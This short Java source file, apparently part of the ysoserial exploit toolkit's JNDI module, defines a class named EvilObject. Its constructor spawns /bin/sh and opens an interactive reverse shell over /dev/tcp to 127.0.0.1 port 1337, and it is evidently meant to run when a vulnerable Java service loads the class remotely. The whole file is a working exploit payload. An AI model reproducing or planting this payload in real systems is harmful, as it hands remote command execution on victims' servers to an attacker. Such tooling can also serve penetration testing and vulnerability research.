package ysoserial.exploit.jndi;

/**
 * @ClassName: jndi.EvilObject
 * @Description: ToDo
 * @Author: angelwhu
 * @Create: 2019/03/05 20:26
 **/
public class EvilObject {
    public EvilObject() throws Exception {
        Runtime rt = Runtime.getRuntime();
        String[] commands = {"/bin/sh", "-c", "/bin/sh -i > /dev/tcp/127.0.0.1/1337 2>&1 0>&1"};
        Process pc = rt.exec(commands);
        pc.waitFor();
    }
}
